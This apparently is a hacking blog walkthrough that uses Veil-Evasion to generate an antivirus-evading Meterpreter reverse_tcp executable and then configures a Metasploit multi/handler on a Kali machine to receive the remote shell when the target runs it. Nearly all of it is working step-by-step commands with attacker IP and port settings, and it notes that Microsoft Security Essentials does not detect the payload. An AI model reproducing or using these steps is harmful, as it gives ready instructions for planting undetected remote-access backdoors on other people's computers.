Veil-Evasion is a tool, that knows to create a PAYLOADS for Metasploit tool.
We found that this tool, can cause collision between him and between MSF tool, and we also found some issues with Kali system and Wine installation.
So, we installed the Veil tool on Ubuntu 16.04 machine that exist in our LAN, and during the PAYLOAD creation process on Veil, we entered the values of our Laptop, that runs Kali Linux with MSF on it.
BTW, if you pen-testing from your office, you can create a PAYLOADS on any machine that you want, and in the values of the PAYLOADS, you can route the PAYLOADS to any machine that you want.
you don’t have to do it on one machine all the time.
As a Hackers, we can use a few Linux machines at the same time, (Virtual & Physical as well).
We found that the Microsoft Security Essential, does not alert about the Veil’s PAYLOADS, but, we haven’t tried it with other AVs.
[LETS MAKE IT WORK]
#1) Open terminal and navigate to Veil tool
assault@ubuntuvm:~$ cd Tools/Veil-evasion
*Now, let’s locate the .py file & type*
assault@ubuntuvm:~/Tools/Veil-evasion$ sudo ./Veil-Evasion.py
*And we will get this out put – the command*
#2) Inside Veil let’s type 1 by 1
[menu>>]: use c/meterpreter/rev_tcp
*We will get this output*
*Let’s set up the parameters of our Kali machine*
[c/meterpreter/rev_tcp>>]: set LHOST 192.168.50.15
[i] LHOST => 192.168.50.15
[c/meterpreter/rev_tcp>>]: set LPORT 4444
[i] LPORT => 4444
*And we will get this output*
[>] Please enter the base name for output files (default is ‘payload’): meterpreter3
*We will get this output*
*Ok, let’s analyze the output*
- Executable written to – means the path of the payload
- Language – at which language is it written
- Payload – the type of our payload (in our case is: reverse_tcp)
- Required Options – the parameters of our payload (COMPILE_TO_EXE=Y mean – after veil process the payload is an EXE format)
- Payload file – the path of the payload
- Handler file – the source of the payload (for MSF tool)
It means that we can run the command: msfconsole -r meterpreter3_handler.rc from this path
*And MSF will run the payload immediately*
*In our case we are using 2 separate machines for this hack, so we will ignore this command (just for now)*
*Now, let’s copy the PAYLOAD to our target*
#3) Let’s move to Kali machine and open Metasploit by the command
assault@hackbook:~$ sudo msfconsole
*Inside MSF, type 1 by 1*
msf > use exploit multi/handler
msf exploit (handler) > set LHOST 192.168.50.15
LHOST => 192.168.50.15
msf exploit (handler) > set LPORT 4444
LPORT => 4444
msf exploit (handler) > set RHOST 192.168.50.7
RHOST => 192.168.50.7
msf exploit (handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit (handler) > show options
*If everything looks OK at the options area, type exploit
msf exploit (handler) > exploit
*Now, what we left to do is, to run the payload on the target’s PC*
Here is an example by Gamer Forever